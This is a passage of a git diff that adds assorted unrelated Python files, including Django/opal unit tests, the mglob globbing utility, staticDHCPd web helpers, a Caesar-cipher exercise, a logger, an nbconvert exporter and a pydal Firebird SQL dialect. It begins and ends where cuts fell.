print("KeyboardInterrupt total time:", time.time()-st) + + return reward_list, learner, ep_count + +if __name__ == '__main__': + _, _, _, experiment_parameters = load_config() + reward_list, learner, epoch_count = main(experiment_parameters) + + # save learner + learner.save("./runs/dqn_{0:.2f}".format(epoch_count)) + + print('Max score {0}. Epochs: {1:.2f}'.format(max(reward_list), epoch_count)) + import matplotlib.pyplot as plt + plt.plot([x[1] / EPOCH_DEF for x in reward_list], [x[0] for x in reward_list]) + plt.show() diff --git a/pool/shard008/Python/0075549_test_core_discoverable.py b/pool/shard008/Python/0075549_test_core_discoverable.py new file mode 100644 index 0000000000000000000000000000000000000000..52bad75c8fae4464a5d1bcba2ea96bb11836778e --- /dev/null +++ b/pool/shard008/Python/0075549_test_core_discoverable.py @@ -0,0 +1,205 @@ +""" +Unittests for the opal.core.discoverable module +""" +from mock import patch +from django.test import override_settings + +from opal.core import exceptions +from opal.core.test import OpalTestCase +from opal.utils import AbstractBase + +from opal.core import discoverable + +class NewOpalObjectType(object): + pass + +class NewOpalObjectClass(NewOpalObjectType): + pass + +class MyPassingFeature(discoverable.DiscoverableFeature): + pass + +class WatFeature(discoverable.DiscoverableFeature): + display_name = 'wat' + module_name = 'wat' + +class SlugFeature(discoverable.DiscoverableFeature): + module_name = 'sluggy' + +class MySlugFeature(SlugFeature): + slug = 'my-slug' + display_name = 'My Slug Defined Slug' + +class ColourFeature(discoverable.DiscoverableFeature): + module_name = 'colours' + +class BlueColour(ColourFeature): + display_name = 'Blue' + +class RedColour(ColourFeature): + display_name = 'Red' + +class SeaGreenColour(ColourFeature): + display_name = 'Sea Green' + +class BombFeature(discoverable.DiscoverableFeature): + module_name = 'bombs' + blow_up = False + + @classmethod + def is_valid(klass): + if klass.blow_up == True: + from opal.core.exceptions import InvalidDiscoverableFeatureError + raise InvalidDiscoverableFeatureError('BLOWING UP') + + +class Threat(BombFeature): pass + + +class AppImporterTestCase(OpalTestCase): + + @override_settings(INSTALLED_APPS=("opal",)) + @patch("opal.core.discoverable.stringport") + def test_class_import(self, stringport_mock): + classes_1 = discoverable.get_subclass("someModule", NewOpalObjectType) + classes_2 = discoverable.get_subclass("someModule", NewOpalObjectType) + + self.assertEqual([i for i in classes_1], [NewOpalObjectClass]) + self.assertEqual([i for i in classes_2], [NewOpalObjectClass]) + + # should only be called once because we should only import once + self.assertEqual(stringport_mock.call_count, 1) + + @override_settings(INSTALLED_APPS=("opal",)) + @patch("opal.core.discoverable.stringport") + def test_importerror_no_module(self, stringport_mock): + discoverable.import_from_apps('notarealmodule') + # should be called but suppress the importerror that happens + self.assertEqual(stringport_mock.call_count, 1) + + @override_settings(INSTALLED_APPS=("opal",)) + @patch("opal.core.discoverable.stringport") + def test_importerror_error_in_target_module(self, stringport_mock): + with self.assertRaises(ImportError): + stringport_mock.side_effect = ImportError('cannot import thing inside your target module') + discoverable.import_from_apps('blowingupmodule') + self.assertEqual(stringport_mock.call_count, 1) + + +class DiscoverableFeatureTestCase(OpalTestCase): + + def test_is_valid_will_blow_up(self): + + # We only care that the above class did not raise an exception. + self.assertTrue(True) + + with self.assertRaises(exceptions.InvalidDiscoverableFeatureError): + class Detonate(BombFeature): + blow_up = True + + def test_slug_for_no_implementation(self): + with self.assertRaises(ValueError): + MyPassingFeature.get_slug() + + def test_slug_for_implementation(self): + self.assertEqual('wat', WatFeature.get_slug()) + + def test_slug_for_subclass(self): + self.assertEqual('red', RedColour.get_slug()) + + def test_slug_for_multi_word_name(self): + self.assertEqual('sea_green', SeaGreenColour.get_slug()) + + def test_slug_for_overriden_slug_property(self): + self.assertEqual('my-slug', MySlugFeature.get_slug()) + + def test_list_for_no_implementation(self): + with self.assertRaises(ValueError): + MyPassingFeature.list() + + def test_list_no_subclasses(self): + self.assertEqual([], list(WatFeature.list())) + + def test_list_subclasses(self): + subs = list(ColourFeature.list()) + self.assertEqual(3, len(subs)) + for s in [BlueColour, RedColour, SeaGreenColour]: + self.assertIn(s, subs) + + def test_list_invalid_subclasses(self): + self.assertEqual([Threat], list(BombFeature.list())) + + def test_get_not_a_thing(self): + with self.assertRaises(ValueError): + ColourFeature.get('border_collie') + + def test_get_exists(self): + self.assertEqual(RedColour, ColourFeature.get('red')) + + + def test_abstract_discoverable(self): + class A(discoverable.DiscoverableFeature): + module_name = 'a' + + class AA(A, AbstractBase): + pass + + class B(A): + pass + + class C(B, AbstractBase): + pass + + class D(C): + pass + + class E(AA): + pass + + results = {i for i in A.list()} + self.assertEqual(results, set([B, D, E])) + + +class SortedFeature(discoverable.SortableFeature, + discoverable.DiscoverableFeature): + module_name = 'sorted' + +class Sorted2(SortedFeature): + order = 2 + +class Sorted3(SortedFeature): + order = 3 + +class Sorted1(SortedFeature): + order = 1 + + +class SortableFeatureTestCase(OpalTestCase): + + def test_list_respects_order(self): + expected = [Sorted1, Sorted2, Sorted3] + self.assertEqual(expected, list(SortedFeature.list())) + + def test_sortable_without_module_name(self): + class Nope(discoverable.SortableFeature): pass + + with self.assertRaises(ValueError): + Nope.list() + +class SometimesFeature(discoverable.DiscoverableFeature, discoverable.RestrictableFeature): + module_name = 'sometimes' + +class Available(SometimesFeature): pass + +class Unavailable(SometimesFeature): + + @classmethod + def visible_to(self, user): + return False + + +class RestrictableFeatureTestCase(OpalTestCase): + + def test_restricted(self): + expected = [Available] + self.assertEqual(expected, list(SometimesFeature.for_user(self.user))) diff --git a/pool/shard008/Python/0075556_finder.py b/pool/shard008/Python/0075556_finder.py new file mode 100644 index 0000000000000000000000000000000000000000..6c50fbcf7e8bfbf1775e2050213bd09c08eefe21 --- /dev/null +++ b/pool/shard008/Python/0075556_finder.py @@ -0,0 +1,48 @@ +import sqlite3 + +from movies.movie import Movie + + +class MovieFinder(object): + + def find_all(self): + raise NotImplementedError() + + +class ColonDelimitedMovieFinder(MovieFinder): + + def __init__(self, filename): + movies = [] + f = open(filename) + for line in f: + (title, director) = line.strip().split(':') + movies.append(Movie(title, director)) + f.close() + self._movies = movies + + def find_all(self): + return self._movies + + +class SQLMovieFinder(MovieFinder): + + def __init__(self, dbname): + self._db = sqlite3.connect(dbname) + + def find_all(self): + cursor = self._db.cursor() + movies = [] + try: + for row in cursor.execute("select title, director from Movies"): + (title, director) = row + movies.append(Movie(title, director)) + finally: + cursor.close() + return movies + + def __del__(self): + try: + self._db.close() + except: + pass + diff --git a/pool/shard008/Python/0075558_mglob.py b/pool/shard008/Python/0075558_mglob.py new file mode 100644 index 0000000000000000000000000000000000000000..ed3679f51a904d30229a41d33ab969240bc755b5 --- /dev/null +++ b/pool/shard008/Python/0075558_mglob.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +r""" mglob - enhanced file list expansion module + +Use as stand-alone utility (for xargs, `backticks` etc.), +or a globbing library for own python programs. Globbing the sys.argv is something +that almost every Windows script has to perform manually, and this module is here +to help with that task. Also Unix users will benefit from enhanced modes +such as recursion, exclusion, directory omission... + +Unlike glob.glob, directories are not included in the glob unless specified +with 'dir:' + +'expand' is the function to use in python programs. Typical use +to expand argv (esp. in windows):: + + try: + import mglob + files = mglob.expand(sys.argv[1:]) + except ImportError: + print "mglob not found; try 'easy_install mglob' for extra features" + files = sys.argv[1:] + +Note that for unix, shell expands *normal* wildcards (*.cpp, etc.) in argv. +Therefore, you might want to use quotes with normal wildcards to prevent this +expansion, in order for mglob to see the wildcards and get the wanted behaviour. +Not quoting the wildcards is harmless and typically has equivalent results, though. + +Author: Ville Vainio +License: MIT Open Source license + +""" + +#Assigned in variable for "usage" printing convenience" + +globsyntax = """\ + This program allows specifying filenames with "mglob" mechanism. + Supported syntax in globs (wilcard matching patterns):: + + *.cpp ?ellowo* + - obvious. Differs from normal glob in that dirs are not included. + Unix users might want to write this as: "*.cpp" "?ellowo*" + rec:/usr/share=*.txt,*.doc + - get all *.txt and *.doc under /usr/share, + recursively + rec:/usr/share + - All files under /usr/share, recursively + rec:*.py + - All .py files under current working dir, recursively + foo + - File or dir foo + !*.bak readme* + - readme*, exclude files ending with .bak + !.svn/ !.hg/ !*_Data/ rec:. + - Skip .svn, .hg, foo_Data dirs (and their subdirs) in recurse. + Trailing / is the key, \ does not work! Use !.*/ for all hidden. + dir:foo + - the directory foo if it exists (not files in foo) + dir:* + - all directories in current folder + foo.py bar.* !h* rec:*.py + - Obvious. !h* exclusion only applies for rec:*.py. + foo.py is *not* included twice. + @filelist.txt + - All files listed in 'filelist.txt' file, on separate lines. + "cont:class \wak:" rec:*.py + - Match files containing regexp. Applies to subsequent files. + note quotes because of whitespace. + """ + + +__version__ = "0.2" + + +import os,glob,fnmatch,sys,re + +def expand(flist,exp_dirs = False): + """ Expand the glob(s) in flist. + + flist may be either a whitespace-separated list of globs/files + or an array of globs/files. + + if exp_dirs is true, directory names in glob are expanded to the files + contained in them - otherwise, directory names are returned as is. + + """ + if isinstance(flist, basestring): + import shlex + flist = shlex.split(flist) + done_set = set() + denied_set = set() + cont_set = set() + cur_rejected_dirs = set() + + def recfind(p, pats = ["*"]): + denied_dirs = [os.path.dirname(d) for d in denied_set if d.endswith("/")] + for (dp,dnames,fnames) in os.walk(p): + # see if we should ignore the whole directory + dp_norm = dp.replace("\\","/") + "/" + deny = False + # do not traverse under already rejected dirs + for d in cur_rejected_dirs: + if dp.startswith(d): + deny = True + break + if deny: + continue + + + #print "dp",dp + bname = os.path.basename(dp) + for deny_pat in denied_dirs: + if fnmatch.fnmatch( bname, deny_pat): + deny = True + cur_rejected_dirs.add(dp) + break + if deny: + continue + + + for f in fnames: + matched = False + for p in pats: + if fnmatch.fnmatch(f,p): + matched = True + break + if matched: + yield os.path.join(dp,f) + + def once_filter(seq): + for it in seq: + p = os.path.abspath(it) + if p in done_set: + continue + done_set.add(p) + deny = False + for deny_pat in denied_set: + if fnmatch.fnmatch(os.path.basename(p), deny_pat): + deny = True + break + if cont_set: + try: + cont = open(p).read() + except IOError: + # deny + continue + for pat in cont_set: + if not re.search(pat,cont, re.IGNORECASE): + deny = True + break + + if not deny: + yield it + return + + res = [] + + for ent in flist: + ent = os.path.expanduser(os.path.expandvars(ent)) + if ent.lower().startswith('rec:'): + fields = ent[4:].split('=') + if len(fields) == 2: + pth, patlist = fields + elif len(fields) == 1: + if os.path.isdir(fields[0]): + # single arg is dir + pth, patlist = fields[0], '*' + else: + # single arg is pattern + pth, patlist = '.', fields[0] + + elif len(fields) == 0: + pth, pathlist = '.','*' + + pats = patlist.split(',') + res.extend(once_filter(recfind(pth, pats))) + # filelist + elif ent.startswith('@') and os.path.isfile(ent[1:]): + res.extend(once_filter(open(ent[1:]).read().splitlines())) + # exclusion + elif ent.startswith('!'): + denied_set.add(ent[1:]) + # glob only dirs + elif ent.lower().startswith('dir:'): + res.extend(once_filter(filter(os.path.isdir,glob.glob(ent[4:])))) + elif ent.lower().startswith('cont:'): + cont_set.add(ent[5:]) + # get all files in the specified dir + elif os.path.isdir(ent) and exp_dirs: + res.extend(once_filter(filter(os.path.isfile,glob.glob(ent + os.sep+"*")))) + + # glob only files + + elif '*' in ent or '?' in ent: + res.extend(once_filter(filter(os.path.isfile,glob.glob(ent)))) + + else: + res.extend(once_filter([ent])) + return res + + +def test(): + assert ( + expand("*.py ~/.ipython/*.py rec:/usr/share/doc-base") == + expand( ['*.py', '~/.ipython/*.py', 'rec:/usr/share/doc-base'] ) + ) + +def main(): + if len(sys.argv) < 2: + print globsyntax + return + + print "\n".join(expand(sys.argv[1:])), + +def mglob_f(self, arg): + from IPython.genutils import SList + if arg.strip(): + return SList(expand(arg)) + print "Please specify pattern!" + print globsyntax + +def init_ipython(ip): + """ register %mglob for IPython """ + mglob_f.__doc__ = globsyntax + ip.expose_magic("mglob",mglob_f) + +# test() +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0075562_methods.py b/pool/shard008/Python/0075562_methods.py new file mode 100644 index 0000000000000000000000000000000000000000..7840791de3265e093cc66b115a315c9ce118fb85 --- /dev/null +++ b/pool/shard008/Python/0075562_methods.py @@ -0,0 +1,128 @@ +# -*- encoding: utf-8 -*- +""" +statidhcpdlib.web.methods +========================= +Provides implementations of several helpful web-components. + +Legal +----- +This file is part of staticDHCPd. +staticDHCPd is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . + +(C) Neil Tallim, 2014 +""" +import logging + +from .. import config +from .. import logging_handlers +from ..import system +import functions +import _resources + +_logger = logging.getLogger('web.methods') + +_SEVERITY_MAP = { + logging.DEBUG: 'debug', + logging.INFO: 'info', + logging.WARN: 'warn', + logging.ERROR: 'error', + logging.CRITICAL: 'critical', +} #: Mappings to show logging data in the web interface + +class Logger(object): + """ + A logging mechanism to provide a web-interface view of what's going on in + the system. + """ + _handler = None #: The loging handler + + def __init__(self): + """ + Initialises and registers the logging handler. + """ + _logger.info("Configuring web-accessible logging...") + self._handler = logging_handlers.FIFOHandler(config.WEB_LOG_HISTORY) + self._handler.setLevel(getattr(logging, config.WEB_LOG_SEVERITY)) + if config.DEBUG: + self._handler.setFormatter(logging.Formatter("%(asctime)s : %(levelname)s : %(name)s : %(message)s")) + else: + self._handler.setFormatter(logging.Formatter("%(asctime)s : %(message)s")) + _logger.root.addHandler(self._handler) + _logger.info("Web-accessible logging online; buffer-size=" + str(config.WEB_LOG_HISTORY)) + + def render(self, *args, **kwargs): + """ + Generates a view of the current log. + + :return str: An HTML fragment, containing the log. + """ + global _SEVERITY_MAP + output = [] + for (severity, line) in self._handler.readContents(): + output.append('%(message)s' % { + 'severity': _SEVERITY_MAP[severity], + 'message': functions.sanitise(line).replace('\n', '
'), + }) + + return """ +
+ %(lines)s +
""" % { + 'max-height': config.WEB_LOG_MAX_HEIGHT and ' max-height: %(max-height)ipx;' % { + 'max-height': config.WEB_LOG_MAX_HEIGHT, + }, + 'lines': '
\n'.join(output), + } + +def reinitialise(*args, **kwargs): + """ + Runs the reinitialisation sequence over the system. + + :return str: An HTML fragment, describing the result. + """ + try: + time_elapsed = system.reinitialise() + except Exception, e: + return 'Reinitilisation failed: %(error)s' % { + 'error': str(e), + } + else: + return 'System reinitilisation completed in %(time).4f seconds' % { + 'time': time_elapsed, + } + +def css(*args, **kwargs): + """ + Produces the default CSS. + + :return str: The CSS byte-string. + """ + return ('text/css', _resources.CSS) + +def javascript(*args, **kwargs): + """ + Produces the default JavaScript. + + :return str: The JavaScript byte-string. + """ + return ('text/javascript', _resources.JS) + +def favicon(*args, **kwargs): + """ + Produces the default favicon. + + :return str: The favicon byte-string. + """ + return ('image/x-icon', _resources.FAVICON) + diff --git a/pool/shard008/Python/0075563_make_big_file.py b/pool/shard008/Python/0075563_make_big_file.py new file mode 100644 index 0000000000000000000000000000000000000000..6f88490567f1c616119341faf7618ad7b445ba9b --- /dev/null +++ b/pool/shard008/Python/0075563_make_big_file.py @@ -0,0 +1,27 @@ +#!/usr/bin/python + +import argparse +import random + + +def main(): + """ + python make_big_file.py length + + Create a big file with one column and 'length' rows. + """ + parser = argparse.ArgumentParser() + + parser.add_argument("length", type=int) + parser.add_argument("-l", "--limit", default=100, type=int) + + args = parser.parse_args() + + for i in range(args.length): + print(random.randint(0, args.limit)) + + # entries.reduceByKey(reduceByKeyFunc + + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0075575_0041_facilitator_organizer.py b/pool/shard008/Python/0075575_0041_facilitator_organizer.py new file mode 100644 index 0000000000000000000000000000000000000000..8f81a883fb6f2fa9fdc563b54c1b5a35c7830ec9 --- /dev/null +++ b/pool/shard008/Python/0075575_0041_facilitator_organizer.py @@ -0,0 +1,30 @@ +# -*- coding: utf-8 -*- + + +from django.db import models, migrations +from django.conf import settings + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('studygroups', '0040_studygroup_signup_open'), + ] + + operations = [ + migrations.CreateModel( + name='Facilitator', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE)), + ], + ), + migrations.CreateModel( + name='Organizer', + fields=[ + ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), + ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE)), + ], + ), + ] diff --git a/pool/shard008/Python/0075586_torrent.py b/pool/shard008/Python/0075586_torrent.py new file mode 100644 index 0000000000000000000000000000000000000000..99a9c4689900f970a7d47df9d56f6804e41ba073 --- /dev/null +++ b/pool/shard008/Python/0075586_torrent.py @@ -0,0 +1,48 @@ +# -*- coding: utf-8 -*- + +# Copyright(C) 2010 Romain Bignon +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3 of the License. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + +from datetime import datetime + +from .base import IBaseCap, CapBaseObject, NotLoaded + + +__all__ = ['ICapTorrent', 'Torrent'] + + +class Torrent(CapBaseObject): + def __init__(self, id, name, date=NotLoaded, size=NotLoaded, url=NotLoaded, + seeders=NotLoaded, leechers=NotLoaded, files=NotLoaded, + description=NotLoaded): + CapBaseObject.__init__(self, id) + self.add_field('name', basestring, name) + self.add_field('size', (int,long,float), size) + self.add_field('date', datetime, date) + self.add_field('url', basestring, url) + self.add_field('seeders', int, seeders) + self.add_field('leechers', int, leechers) + self.add_field('files', list, files) + self.add_field('description', basestring, description) + +class ICapTorrent(IBaseCap): + def iter_torrents(self, pattern): + raise NotImplementedError() + + def get_torrent(self, _id): + raise NotImplementedError() + + def get_torrent_file(self, _id): + raise NotImplementedError() diff --git a/pool/shard008/Python/0075594_urls.py b/pool/shard008/Python/0075594_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..a12986057a2256d45db9f850d55e9864ab6ff993 --- /dev/null +++ b/pool/shard008/Python/0075594_urls.py @@ -0,0 +1,15 @@ +"""cbe trouble URL Configuration + +""" +from django.conf.urls import include, url + +from drf_nest.routers import AppRouter +from . import views + +router = AppRouter(root_view_name='app-trouble') +router.register(r'problem', views.ProblemViewSet) + +urlpatterns = [ + url(r'^api/trouble/', include(router.urls)), +] + diff --git a/pool/shard008/Python/0075600_utils.py b/pool/shard008/Python/0075600_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..f6e080364f173625f9892049229cd1606459feb7 --- /dev/null +++ b/pool/shard008/Python/0075600_utils.py @@ -0,0 +1,30 @@ +import urllib, urllib2 +import json, inspect +import xbmc, xbmcgui, xbmcplugin + +from resources.lib import common, settings + +def filestack(depth=2): + stack = inspect.stack()[depth] + file = stack[1].split('/') + return (file[len(file)-1], stack[2], stack[3]) + +def log(txt): + if settings.generalDebug == False: + return + if isinstance (txt, str): + txt = txt.decode("utf-8") + (file, line, func) = filestack() + message = u'%s: (%s, %s, %s) - %s' % ('SESAMESTREET', file, line, func, txt) + xbmc.log(msg=message.encode("utf-8"), level=xbmc.LOGDEBUG) + +def build_url(query): + return common.base_url + '?' + urllib.urlencode(query) + +def getHTML(uri, mobile=False): + if mobile == True: + url = common.sesame_m_base_url + '/' + uri + else: + url = common.sesame_base_url + '/' + uri + html = urllib.urlopen(url) + return html.read() diff --git a/pool/shard008/Python/0075608_rotation_encryption.py b/pool/shard008/Python/0075608_rotation_encryption.py new file mode 100644 index 0000000000000000000000000000000000000000..ee073ca42b8497f266fbd17f626a8dc24b230a1c --- /dev/null +++ b/pool/shard008/Python/0075608_rotation_encryption.py @@ -0,0 +1,87 @@ +# Rotation Encryption + + +alphabet_lower = "abcdefghijklmnopqrstuvwxyz" +alphabet_upper = alphabet_lower.upper() + + +# encrypt a string with the given key +def encrypt(message, key): + """ + >>> encrypt('abc', 1) + 'bcd' + >>> encrypt('1Ab', 2) + '1Cd' + >>> encrypt('xYz', 5) + 'cDe' + >>> encrypt('abc', -1) + 'zab' + """ + encrypted = [] + for character in message: + encrypted.append(encrypt_character(character, key)) + return "".join(encrypted) + + +# decrypt a string with the given key +def decrypt(message, key): + """ + >>> decrypt('bCd', 1) + 'aBc' + >>> decrypt('1cD', 2) + '1aB' + >>> decrypt('cde', 5) + 'xyz' + >>> decrypt('zab', -1) + 'abc' + """ + decrypted = [] + for character in message: + decrypted.append(decrypt_character(character, key)) + return "".join(decrypted) + + +# encrypt a character with the given key +def encrypt_character(character, key): + """ + >>> encrypt_character('a', 1) + 'b' + >>> encrypt_character('z', 1) + 'a' + >>> encrypt_character('1', 10) + '1' + >>> encrypt_character('b', 5) + 'g' + """ + if character in alphabet_lower: + return alphabet_lower[(alphabet_lower.index(character) + key) % 26] + elif character in alphabet_upper: + return alphabet_upper[(alphabet_upper.index(character) + key) % 26] + else: + return character + + +# decrypt a character with the given key +def decrypt_character(character, key): + """ + >>> decrypt_character('b', 1) + 'a' + >>> decrypt_character('A', 1) + 'Z' + >>> decrypt_character('1', 10) + '1' + >>> decrypt_character('g', 5) + 'b' + """ + if character in alphabet_lower: + return alphabet_lower[(alphabet_lower.index(character) - key) % 26] + elif character in alphabet_upper: + return alphabet_upper[(alphabet_upper.index(character) - key) % 26] + else: + return character + + + +#if __name__ == "__main__": +# import doctest +# doctest.testmod() diff --git a/pool/shard008/Python/0075613_log.py b/pool/shard008/Python/0075613_log.py new file mode 100644 index 0000000000000000000000000000000000000000..fe98dbdf1ab7f5a61adb93142b1f5767bc95f89a --- /dev/null +++ b/pool/shard008/Python/0075613_log.py @@ -0,0 +1,98 @@ +#!/usr/bin/python +# +# Copyright (C) 2013 Intel Corporation +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# Authors: +# Liu,chengtao +"""General Implementation""" + +import threading +import logging +import logging.handlers +import sys +import os + +# logger levels +LEVELS = {"CRITICAL": 50, + "ERROR": 40, + "WARNING": 30, + "INFO": 20, + "DEBUG": 10, + "NOTSET": 0 + } + + +class Logger: + + """General Logger Class""" + _instance = None + _mutex = threading.Lock() + + def __init__(self, level="DEBUG", format_str="%(message)s"): + """Generate root logger""" + self._logger = logging.getLogger("TCT") + self._level = LEVELS[level] + self._logger.setLevel(LEVELS[level]) + self._formatter = logging.Formatter(format_str) + self.add_print_logger() + + def add_print_logger(self, level="INFO"): + """Generate console writer [StreamHandler]""" + writer = logging.StreamHandler(sys.stdout) + writer.setLevel(LEVELS[level]) + writer.setFormatter(self._formatter) + self._logger.addHandler(writer) + + @staticmethod + def get_logger(level="DEBUG", format_str="%(message)s"): + """sinlgeton of Logger""" + if Logger._instance is None: + Logger._mutex.acquire() + if Logger._instance is None: + Logger._instance = Logger(level, format_str) + else: + pass + Logger._mutex.release() + return Logger._instance + + def debug(self, msg): + """debug level message""" + if msg is not None: + sys.stdout.write(msg + '\r\n') + sys.stdout.flush() + + def info(self, msg): + """info level message""" + if msg is not None: + sys.stdout.write(msg + '\r\n') + sys.stdout.flush() + + def warning(self, msg): + """warning level message""" + if msg is not None: + self._logger.warning(msg) + + def error(self, msg): + """error level message""" + if msg is not None: + sys.stdout.write(msg + '\r\n') + sys.stdout.flush() + + def critical(self, msg): + """critical level message""" + if msg is not None: + self._logger.critical(msg) + +from .config import Config + +LOGGER = Logger.get_logger(level=Config.LOG_LEVEL) diff --git a/pool/shard008/Python/0075617_decorators.py b/pool/shard008/Python/0075617_decorators.py new file mode 100644 index 0000000000000000000000000000000000000000..c9810589e157dc4310e6c1ba01845774aabe5015 --- /dev/null +++ b/pool/shard008/Python/0075617_decorators.py @@ -0,0 +1,19 @@ +# -*- coding: utf-8 -*- +def paramsToLists(f): + + def wrapper(*args, **kwargs): + params = [args[0]] + for arg in args[1:]: + if arg is not None and not isinstance(arg, list): + params.append([arg]) + else: + params.append(arg) + + for key in kwargs: + value = kwargs[key] + if value is not None and not isinstance(value, list): + kwargs[key] = [kwargs[key]] + return f(*params, **kwargs) + + wrapper.__name__ = f.__name__ + return wrapper diff --git a/pool/shard008/Python/0075619_04_use_callable_runner.py b/pool/shard008/Python/0075619_04_use_callable_runner.py new file mode 100644 index 0000000000000000000000000000000000000000..d79b46fc1be844a80cbff55c4c11078b436ab5e6 --- /dev/null +++ b/pool/shard008/Python/0075619_04_use_callable_runner.py @@ -0,0 +1,50 @@ +#!/usr/bin/python +# coding: utf-8 + +from puliclient import Graph + +from mymodule import myFunction +from mymodule import MyClass + +if __name__ == '__main__': + + # In this example we will create 2 tasks to execute custom callables + # Internally we will use a predefined runner: CallableRunner + # The function or class method we are asking to execute must be accessible to the render nodes. + + tags = { + "prod": "prod_name", + "shot": "shot_code", + # Add any valuable info relative to the job here: type, step, version, iteration... + } + + # First we create a graph + # Added to the graph is a dict of tags that will be used to clarify the job process + graph = Graph('job with callable', tags=tags) + + # First task + name = "callable function" + + graph.addNewCallable( + myFunction, + "callable function", + user_args=("param1", "param2"), + user_kwargs={"wait": 10}, + ) + + # Second task + name = "callable method" + + graph.addNewCallable( + MyClass.myMethod, + "callable method", + user_args=(), + user_kwargs={ + "param1": "first_param", + "param2": "second_param", + "wait": 10 + }, + ) + + # Finally submit the graph to the server + graph.submit("vfxpc64", 8004) diff --git a/pool/shard008/Python/0075622_notebook.py b/pool/shard008/Python/0075622_notebook.py new file mode 100644 index 0000000000000000000000000000000000000000..6fecab4faa81c817ab0d1543b436b825e9328672 --- /dev/null +++ b/pool/shard008/Python/0075622_notebook.py @@ -0,0 +1,39 @@ +"""NotebookExporter class""" + +# Copyright (c) IPython Development Team. +# Distributed under the terms of the Modified BSD License. + +from .exporter import Exporter +import nbformat +from traitlets import Enum, default + +class NotebookExporter(Exporter): + """Exports to an IPython notebook. + + This is useful when you want to use nbconvert's preprocessors to operate on + a notebook (e.g. to execute it) and then write it back to a notebook file. + """ + + nbformat_version = Enum(list(nbformat.versions), + default_value=nbformat.current_nbformat, + help="""The nbformat version to write. + Use this to downgrade notebooks. + """ + ).tag(config=True) + + @default('file_extension') + def _file_extension_default(self): + return '.ipynb' + + output_mimetype = 'application/json' + + def from_notebook_node(self, nb, resources=None, **kw): + nb_copy, resources = super(NotebookExporter, self).from_notebook_node(nb, resources, **kw) + if self.nbformat_version != nb_copy.nbformat: + resources['output_suffix'] = '.v%i' % self.nbformat_version + else: + resources['output_suffix'] = '.nbconvert' + output = nbformat.writes(nb_copy, version=self.nbformat_version) + if not output.endswith("\n"): + output = output + "\n" + return output, resources diff --git a/pool/shard008/Python/0075623_firebird.py b/pool/shard008/Python/0075623_firebird.py new file mode 100644 index 0000000000000000000000000000000000000000..219665986309f195d6d2eac6c0a8374dc84526f3 --- /dev/null +++ b/pool/shard008/Python/0075623_firebird.py @@ -0,0 +1,111 @@ +from ..adapters.firebird import FireBird +from ..objects import Expression +from .base import SQLDialect +from . import dialects, sqltype_for + + +@dialects.register_for(FireBird) +class FireBirdDialect(SQLDialect): + @sqltype_for('text') + def type_text(self): + return 'BLOB SUB_TYPE 1' + + @sqltype_for('bigint') + def type_bigint(self): + return 'BIGINT' + + @sqltype_for('double') + def type_double(self): + return 'DOUBLE PRECISION' + + @sqltype_for('decimal') + def type_decimal(self): + return 'DECIMAL(%(precision)s,%(scale)s)' + + @sqltype_for('blob') + def type_blob(self): + return 'BLOB SUB_TYPE 0' + + @sqltype_for('id') + def type_id(self): + return 'INTEGER PRIMARY KEY' + + @sqltype_for('big-id') + def type_big_id(self): + return 'BIGINT PRIMARY KEY' + + @sqltype_for('reference') + def type_reference(self): + return 'INTEGER REFERENCES %(foreign_key)s ' + \ + 'ON DELETE %(on_delete_action)s' + + @sqltype_for('big-reference') + def type_big_reference(self): + return 'BIGINT REFERENCES %(foreign_key)s ' + \ + 'ON DELETE %(on_delete_action)s' + + def sequence_name(self, tablename): + return self.quote('genid_%s' % tablename) + + def trigger_name(self, tablename): + return 'trg_id_%s' % tablename + + @property + def random(self): + return 'RAND()' + + def not_null(self, default, field_type): + return 'DEFAULT %s NOT NULL' % \ + self.adapter.represent(default, field_type) + + def epoch(self, val): + return "DATEDIFF(second, '1970-01-01 00:00:00', %s)" % self.expand(val) + + def substring(self, field, parameters): + return 'SUBSTRING(%s from %s for %s)' % ( + self.expand(field), parameters[0], parameters[1]) + + def length(self, val): + return "CHAR_LENGTH(%s)" % self.expand(val) + + def contains(self, first, second, case_sensitive=True): + if first.type.startswith('list:'): + second = Expression(None, self.concat('|', Expression( + None, self.replace(second, ('|', '||'))), '|')) + return '(%s CONTAINING %s)' % ( + self.expand(first), self.expand(second, 'string')) + + def select(self, fields, tables, where=None, groupby=None, having=None, + orderby=None, limitby=None, distinct=False, for_update=False): + dst, whr, grp, order, limit, offset, upd = '', '', '', '', '', '', '' + if distinct is True: + dst = ' DISTINCT' + elif distinct: + dst = ' DISTINCT ON (%s)' % distinct + if where: + whr = ' %s' % self.where(where) + if groupby: + grp = ' GROUP BY %s' % groupby + if having: + grp += ' HAVING %s' % having + if orderby: + order = ' ORDER BY %s' % orderby + if limitby: + (lmin, lmax) = limitby + limit = ' FIRST %i' % (lmax - 